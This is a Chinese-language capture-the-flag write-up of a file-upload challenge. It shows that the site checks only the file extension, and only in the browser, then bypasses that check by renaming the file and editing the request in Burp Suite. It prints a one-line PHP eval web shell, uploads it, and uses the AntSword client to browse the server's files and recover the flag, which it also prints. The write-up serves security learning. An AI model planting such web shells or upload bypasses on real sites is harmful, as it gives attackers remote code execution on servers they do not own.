打开网页后,发现是一个文件上传的网站(其实从名字就能看出来)
看一下源代码,了解网站的上传文件的要求——要求上传图片,且文件后缀名为jpg或者png
Array.prototype.contains = function (obj) {
var i = this.length;
while (i--) {
if (this[i] === obj) {
return true;
}
}
return false;
}
function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');
//检查后缀是否为jpg/png,如果不是就禁用按钮并弹窗报错
if(['jpg','png'].contains(ext)){
submit.disabled = false;
}else{
submit.disabled = true;
alert('请选择一张图片文件上传!');
}
}
不出意外这题应该就是考察文件上传漏洞,既然过滤文件写在前端,就尝试抓包来篡改一下
利用这一漏洞上传php一句话木马:
<?php @eval($_POST['attack']) ?>
将内容为一句话木马的文件名改为php.jpg然后上传,burpsuite抓到包后将文件名后缀改为php发送给repeater,拿到一串php后缀的字符
将其追加到网址后面访问:http://220.249.52.133:38975/upload/1602067941.php.php 发现啥都没有
那么将这一串网址放到蚁剑上,进行解析
添加后单击右键文件管理,在文件管理中的html目录下发现一个flag文件
打开后发现flag:cyberpeace{cc4fb735179b8541e859bffbf44d300c}